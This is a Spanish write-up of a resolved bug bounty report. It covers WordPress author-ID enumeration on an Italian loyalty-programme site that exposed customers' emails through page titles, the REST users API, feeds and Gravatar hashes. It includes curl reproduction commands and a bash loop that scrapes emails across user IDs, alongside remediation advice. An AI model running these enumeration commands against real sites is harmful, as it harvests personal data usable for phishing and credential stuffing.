Resumen
No hizo falta ningún exploit sofisticado: bastó la combinación de dos cosas habituales en WordPress. Por un lado, el sitio de un programa de fidelización de una marca de Essity para el mercado italiano (el dominio aparece censurado en el reporte) permitía recorrer a todos sus usuarios por ID secuencial con /?author=N. Por otro, casi todos esos usuarios tenían como nombre visible (display name) su propia dirección de correo.
El resultado: cualquiera, sin cuenta, podía obtener el email de cada cliente registrado. El investigador contó más de 123.109 usuarios y, en una muestra de 250, el 98,4 % (246) mostraba su email. Según el reporte, el dato salía por varios sitios a la vez, todos públicos:
- La etiqueta
<title>de la página de archivo de autor (visible en pestañas, marcadores y resultados de buscadores). - El campo
namede la API REST de usuarios de WordPress. - Los feeds RSS de cada autor, en sus elementos
<title>. - Los hashes de Gravatar (SHA-256 del email), que permiten comprobar fuera de línea si un correo concreto está registrado.
Las páginas de autor no llevaban noindex ni estaban excluidas en robots.txt, así que los buscadores podían indexarlas. El reporte indica además que un entorno de staging con la misma base de datos estaba igualmente afectado.
Pasos de reproducción
- Calcular cuántos usuarios hay. Basta buscar el último ID que devuelve 200 en vez de 404:
# User 123109 exists (HTTP 200), user 123110 does not (HTTP 404)
curl -s -o /dev/null -w "%{http_code}" "https://[REDACTADO]/?author=123109"
# 200
curl -s -o /dev/null -w "%{http_code}" "https://[REDACTADO]/?author=123110"
# 404
- Leer el email de un usuario cualquiera desde el título de su página de autor:
curl -s -L "https://[REDACTADO]/?author=50000" | grep '<title>'
Respuesta:
<title>[REDACTADO] - [REDACTADO] di [REDACTADO]</title>
Según el reporte, el título de la página expone el email personal del usuario.
- Medir el alcance con una muestra repartida por todo el rango de IDs (250 usuarios):
# Automated sample across the full ID range
for uid in $(seq 100 199) $(seq 1000 1019) $(seq 5000 5019) $(seq 10000 10019) $(seq 50000 50019) $(seq 100000 100019) $(seq 120000 120049); do
title=$(curl -s -L "https://[REDACTADO]/?author=$uid" | grep -oP '(?<=<title>)[^<]+')
echo "$uid: $title" | grep -P '@[\w.-]+\.\w{2,}'
done
246 de los 250 títulos contenían una dirección de correo.
- Comprobar que la API REST devuelve lo mismo en el campo
name:
curl -s "https://[REDACTADO]/wp-json/wp/v2/users/9790"
{
"id": 9790,
"name": "[REDACTADO]",
"slug": "[REDACTADO]",
"link": "https://[REDACTADO]/author/[REDACTADO]/"
}
- Verificar que nada impide indexar esas páginas:
curl -s "https://[REDACTADO]/?author=50000" | grep -i 'noindex'
# Empty no noindex directive
curl -s "https://[REDACTADO]/robots.txt" | grep -i 'author'
# Empty no Disallow for /author/
Impacto
- Unos 121.000 emails estimados de consumidores italianos (dominios como libero.it, gmail.com, yahoo.it o hotmail.it), descargables recorriendo los IDs del 1 al 123.109. El investigador no observó ningún límite de peticiones.
- Las direcciones podían acabar en los resultados de los buscadores, al estar en el
<title>de páginas indexables. - Según el investigador, esa lista serviría de base para credential stuffing y para campañas de phishing dirigidas a los miembros del programa de fidelización.
- Al tratarse de datos personales de ciudadanos de la UE, el investigador lo planteó como un incumplimiento del artículo 5(1)(f) del RGPD.
El reporte figura con severidad crítica y como resuelto.
Remediación
El reporte no detalla qué cambió exactamente el programa. Las medidas que propuso el investigador fueron:
- Sustituir los nombres visibles basados en el email por alias anónimos para todos los usuarios.
- Añadir
<meta name="robots" content="noindex">a las páginas de archivo de autor. - Añadir
Disallow: /author/enrobots.txt. - Exigir autenticación en
/wp-json/wp/v2/users. - Desactivar los archivos de autor, ya que esos usuarios no publican contenido.
- Limitar la frecuencia de peticiones a
/?author=N. - Avisar a los afectados y a la autoridad italiana de protección de datos (Garante), según los artículos 33 y 34 del RGPD.
Qué aprender de este caso
- En cualquier WordPress con registro abierto (tiendas, clubs de fidelización, foros), prueba
/?author=1,/?author=2… y/wp-json/wp/v2/users: si los usuarios son clientes y no redactores, cualquier dato que aparezca ahí ya es una fuga. - Fíjate en qué se usa como nombre visible. Si el alta de usuarios deja el email como display name, toda la web lo repetirá en títulos, feeds y API; para evitarlo, fuerza un alias al crear la cuenta y corrige los existentes.
- Si los usuarios registrados no escriben entradas, no hay motivo para que existan sus archivos de autor ni sus feeds: desactivarlos y cerrar el endpoint de usuarios de la API REST elimina de golpe todos los canales que se usaron aquí.
- Revisa también los entornos de staging: en este caso compartía la base de datos con producción, así que tapar solo el dominio principal no basta.